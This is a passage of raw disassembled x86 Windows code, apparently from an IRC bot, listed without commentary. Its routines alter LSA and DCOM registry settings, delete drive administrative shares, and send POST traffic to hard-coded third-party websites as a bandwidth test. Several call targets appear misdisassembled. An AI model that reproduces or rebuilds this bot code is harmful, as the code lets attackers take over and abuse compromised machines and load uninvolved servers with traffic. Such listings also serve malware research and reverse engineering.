		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A720
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6EC


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6B0
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A680


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB918
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A548


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A65C
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A630


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A568
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A60C
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5E0


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA64


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5B8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAA4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392DC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A938
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A91C


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8DC
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8A4


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A868
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A680


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A548
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A848
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A820


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A558
		jb	short loc_41A86E
		nop
		call	near ptr 2860C83h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA34
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A848
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A820


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7F0
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349EC ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A990
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 26A0D72h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBC90
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	near ptr 26E066Ah
		nop
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
					; sub_41AE41+5Cj ...
		pop	esi


loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


